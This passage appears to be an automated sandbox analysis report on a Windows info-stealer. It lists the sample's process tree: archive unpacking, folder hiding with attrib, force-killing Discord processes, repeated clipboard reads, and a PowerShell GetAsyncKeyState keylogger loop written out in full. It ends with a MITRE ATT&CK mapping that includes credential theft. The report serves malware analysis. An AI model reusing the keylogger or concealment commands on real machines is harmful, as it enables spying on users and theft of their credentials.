        
        PID:272
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:1520
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\Common\87f9a269\deps.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\Common\87f9a269' -Force""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3728
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Expand-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\Common\87f9a269\deps.zip' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\Common\87f9a269' -Force"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4160
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Common\87f9a269""
        5⤵
        Hide Artifacts: Hidden Files and Directories
        Suspicious use of WriteProcessMemory
        
        PID:4688
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Common\87f9a269"
        6⤵
        Views/modifies file attributes
        
        PID:1492
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -MemberDefinition '[DllImport(\"user32.dll\")] public static extern short GetAsyncKeyState(int v);' -Name \"W\" -Namespace \"N\" -PassThru | Out-Null; while($true){ for($i=8; $i -le 190; $i++){ if([N.W]::GetAsyncKeyState($i) -band 0x8000){ if(!$p[$i]){ Write-Output $i; $p[$i]=$true } }else{$p[$i]=$false} }; Start-Sleep -m 20 }"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4172
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sjq2cvop\sjq2cvop.cmdline"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4424
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C6E.tmp" "c:\Users\Admin\AppData\Local\Temp\sjq2cvop\CSC2B5160D23ECB4DC18487AB61E7B429D8.TMP"
        7⤵
        
        PID:2044
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "Discord.exe""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1052
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "Discord.exe"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1212
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordCanary.exe""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:808
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "DiscordCanary.exe"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordPTB.exe""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2292
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "DiscordPTB.exe"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3428
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM "DiscordDevelopment.exe""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4928
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM "DiscordDevelopment.exe"
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3252
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4956
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2036
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2576
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2024
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:568
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2624
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:4904
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2220
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:1312
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:1968
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:2904
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1800
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2512
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:4620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:2996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:3876
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2004
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:2604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:3576
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:4448
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:2860
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:4276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3424
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:3552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:3264
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:3404
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:1144
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2960
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2768
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2684
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:4508
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:4108
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3012
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1744
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:2008
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:3380
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2932
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4772
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1192
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:1788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3336
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3408
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4276
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2856
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2380
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3252
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1452
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3336
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4872
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3996
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3888
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3608
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1312
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:576
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:1916
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1612
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2080
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3428
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2852
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2824
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3044
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4512
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4892
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4708
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3672
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3688
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4328
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4664
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2040
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2704
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1612
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:1944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2380
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3928
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1928
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3600
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1636
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1096
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3784
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2936
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:5052
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2852
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:2880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3848
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:1104
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:1000
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4620
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:4460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:1696
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:2144
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:3132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3912
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4768
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4892
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:1972
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:1432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4868
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        Clipboard Data
        
        PID:3552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command Get-Clipboard
        5⤵
        
        PID:4940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...